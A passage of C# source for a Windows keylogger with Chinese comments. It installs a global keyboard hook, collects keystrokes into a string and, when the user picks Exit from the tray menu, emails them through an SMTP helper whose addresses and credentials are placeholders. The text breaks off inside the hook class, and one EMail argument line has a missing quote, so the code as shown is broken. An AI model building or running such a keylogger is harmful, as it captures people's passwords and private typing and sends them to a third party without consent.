using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net.Mail;
namespace noformtest
{
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
System.Resources.ResourceManager resources = new System.Resources.ResourceManager("noformtest.Properties.Resources", System.Reflection.Assembly.GetExecutingAssembly());
MyHook myhook1 = new MyHook();
myhook1.HookStart();
NotifyIcon ni = new NotifyIcon();
ContextMenuStrip cs = new System.Windows.Forms.ContextMenuStrip();
ni.Icon = ((System.Drawing.Icon)(resources.GetObject("_1")));
ni.BalloonTipIcon = System.Windows.Forms.ToolTipIcon.Warning;
ni.BalloonTipText = "小钩子";
ni.BalloonTipTitle = "嘎嘎";
ni.Visible = true;
ni.Text = "键盘钩子";
ni.ContextMenuStrip = cs;
ToolStripMenuItem ExitToolStripMenuItem= new ToolStripMenuItem();
cs.Items.AddRange(
new System.Windows.Forms.ToolStripItem[] {
ExitToolStripMenuItem }
);
cs.Name = "cs";
cs.Size = new System.Drawing.Size(95, 48);
ExitToolStripMenuItem.Name = "ExitToolStripMenuItem";
ExitToolStripMenuItem.Size = new System.Drawing.Size(94, 22);
ExitToolStripMenuItem.Text = "退出";
ExitToolStripMenuItem.Click += delegate(object sender, EventArgs e)
{
ni.Visible = false;
//myhook1.saveTofile();//保存到本地文件
//发送到指定邮箱(stmp)
EMail email = new EMail("发件人地址", 收件人地址","STMP邮件服务器地址", "用户名", "密码", myhook1.strall);
email.sendmail();
myhook1.HookStop();
Application.Exit();
};
ni.MouseClick += delegate(object sender, MouseEventArgs e)
{
if( e.Button== MouseButtons.Left)
ni.ShowBalloonTip(5);
};
Application.Run();
}
public partial class MyHook {
ProcessModule curModule;
//声明委托
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
public string strall;
HookProc KeyboardHookProcedure;
static int hKeyboardHook = 0;
const int WM_KEYDOWN = 0x0100;
const int WM_SYSKEYDOWN = 0x0104;
//定义变量
internal enum HookType //枚举,钩子的类型
{
//MsgFilter = -1,
//JournalRecord = 0,
//JournalPlayback = 1,
Keyboard = 13,
//GetMessage = 3,
//CallWndProc = 4,
//CBT = 5,
//SysMsgFilter = 6,
//Mouse = 7,
//Hardware = 8,
//Debug = 9,
//Shell = 10,
//ForegroundIdle = 11,
//CallWndProcRet =